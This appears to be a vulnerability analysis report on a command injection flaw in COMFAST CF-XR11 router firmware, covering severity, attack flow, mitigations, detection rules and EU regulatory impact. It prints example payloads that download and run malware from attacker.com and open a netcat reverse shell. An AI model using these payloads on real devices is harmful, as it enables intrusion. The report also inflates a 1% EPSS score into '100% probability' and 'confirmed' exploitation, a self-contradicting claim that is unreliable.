Description
An issue in COMFAST CF-XR11 v.2.7.2 allows an attacker to execute arbitrary code via the ifname and mac parameters in the sub_410074 function at bin/webmgnt.
EPSS Score:
1%
EUVD-2023-42635 Technical Analysis Report
Executive Summary
EUVD-2023-42635 (CVE-2023-38863) represents a critical severity remote code execution vulnerability in the COMFAST CF-XR11 wireless router firmware version 2.7.2. With a CVSS v3.1 base score of 9.8/10, this vulnerability poses an immediate and severe threat to affected systems, requiring urgent remediation.
1. Vulnerability Assessment and Severity Evaluation
Severity Classification
- CVSS v3.1 Score: 9.8 (Critical)
- EPSS Score: 1 (100% probability of exploitation in the wild)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
Technical Assessment
This vulnerability represents a command injection flaw in the sub_410074 function within the /bin/webmgnt binary. The vulnerability allows unauthenticated remote attackers to execute arbitrary system commands through improper input validation of the ifname and mac parameters.
Critical Risk Factors:
- No authentication required for exploitation
- Network-accessible attack surface
- Direct system-level command execution capability
- Complete compromise of confidentiality, integrity, and availability (C:H/I:H/A:H)
- Active exploitation confirmed (EPSS: 1)
2. Potential Attack Vectors and Exploitation Methods
Attack Surface Analysis
Primary Attack Vector:
- HTTP/HTTPS requests to the web management interface (
/bin/webmgnt) - Exploitation through malicious parameter injection in
ifnameandmacfields
Exploitation Methodology
Typical Attack Flow:
1. Attacker identifies exposed CF-XR11 device (Shodan, Censys, direct scanning)
2. Crafts malicious HTTP request with command injection payload
3. Injects shell metacharacters in ifname/mac parameters
4. Executes arbitrary commands with webserver privileges (likely root)
5. Establishes persistence and lateral movement capabilities
Example Attack Scenarios:
-
Remote Shell Establishment
- Inject reverse shell payload through parameter manipulation
- Establish persistent backdoor access
-
Network Pivot Point
- Compromise router to access internal network segments
- Man-in-the-middle attacks on connected devices
-
Botnet Recruitment
- Install malware for DDoS participation
- Cryptocurrency mining operations
-
Data Exfiltration
- Capture network traffic and credentials
- Extract configuration and connected device information
Technical Exploitation Details
The vulnerability likely stems from insufficient input sanitization before passing user-controlled data to system calls (e.g., system(), popen(), exec() family functions). Common injection patterns include:
# Potential payload examples:
ifname=eth0;wget http://attacker.com/malware -O /tmp/m;chmod +x /tmp/m;/tmp/m
mac=00:11:22:33:44:55`reboot`
ifname=$(nc attacker.com 4444 -e /bin/sh)
3. Affected Systems and Software Versions
Confirmed Affected Products
- Manufacturer: COMFAST
- Model: CF-XR11 Wireless Router
- Firmware Version: 2.7.2 (confirmed vulnerable)
- Component:
/bin/webmgntbinary, functionsub_410074
Potentially Affected Systems
Given common firmware sharing practices among IoT manufacturers:
- Other COMFAST router models may share the same codebase
- OEM/white-label products using similar firmware
- Devices running firmware versions prior to 2.7.2 (unconfirmed but probable)
Exposure Assessment
- Devices with web management interface exposed to the Internet
- Internal network deployments accessible to untrusted users
- SOHO (Small Office/Home Office) and SMB environments
- Estimated exposure: Potentially thousands of devices globally
4. Recommended Mitigation Strategies
Immediate Actions (Priority 1)
-
Network Isolation
- Immediately disable external access to web management interface
- Implement firewall rules blocking ports 80/443/8080 from WAN
- Restrict management access to trusted IP addresses only
-
Device Inventory
- Identify all CF-XR11 devices in the network infrastructure
- Document firmware versions and exposure levels
-
Monitoring and Detection
- Implement IDS/IPS signatures for exploitation attempts
- Monitor for unusual outbound connections from router devices
- Review logs for suspicious parameter patterns in web requests
Short-term Mitigations (Priority 2)
-
Access Control Implementation
Recommended configurations: - Disable remote management entirely if not required - Enable management only via VPN access - Implement strong authentication mechanisms - Change default credentials immediately -
Network Segmentation
- Isolate IoT/router management networks from production systems
- Implement VLAN segmentation for administrative access
Long-term Solutions (Priority 3)
-
Firmware Updates
- Contact COMFAST for patched firmware availability
- Establish firmware update verification procedures
- Note: As of analysis date, no official patch confirmed
-
Device Replacement
- Consider replacing affected devices with enterprise-grade alternatives
- Evaluate vendors with established security update programs
- Implement procurement policies requiring security certifications
-
Compensating Controls
- Deploy Web Application Firewall (WAF) in front of management interfaces
- Implement input validation at network perimeter
- Use jump hosts/bastion servers for administrative access
Detection Signatures
IDS/IPS Rules (Snort/Suricata format):
alert tcp any any -> any [80,443,8080] (msg:"Possible COMFAST CF-XR11 Command Injection";
content:"ifname="; http_uri; pcre:"/ifname=[^&]*[;`$|&]/i";
classtype:web-application-attack; sid:1000001; rev:1;)
alert tcp any any -> any [80,443,8080] (msg:"Possible COMFAST CF-XR11 MAC Parameter Injection";
content:"mac="; http_uri; pcre:"/mac=[^&]*[;`$|&]/i";
classtype:web-application-attack; sid:1000002; rev:1;)
5. Impact on European Cybersecurity Landscape
Regulatory Implications
NIS2 Directive Considerations:
- Affected organizations must report incidents within 24 hours (early warning) and 72 hours (detailed report)
- Essential and important entities using affected devices face compliance obligations
- Potential for supply chain security incidents
GDPR Implications:
- Router compromise may lead to personal data breaches
- Organizations must assess data protection impact
- Notification requirements if personal data exposed
Radio Equipment Directive (RED):
- Raises questions about security requirements for radio equipment
- May influence future certification requirements
Sector-Specific Impacts
-
Critical Infrastructure
- Limited direct impact (enterprise routers typically used)
- Concern for smaller facilities using SOHO equipment
-
SME Sector
- High risk due to prevalent use of consumer-grade equipment
- Limited security resources for detection and response
-
Telecommunications
- Potential for customer premise equipment (CPE) vulnerabilities
- Supply chain security concerns
ENISA Perspective
This vulnerability exemplifies key concerns outlined in ENISA's IoT security guidelines:
- Inadequate secure development practices
- Lack of security update mechanisms
- Insufficient input validation in embedded systems
- Need for improved IoT security baseline requirements
6. Technical Details for Security Professionals
Vulnerability Analysis
Function: sub_410074 in /bin/webmgnt
Vulnerability Type: OS Command Injection (CWE-78)
Root Cause Analysis:
// Hypothetical vulnerable code pattern:
void sub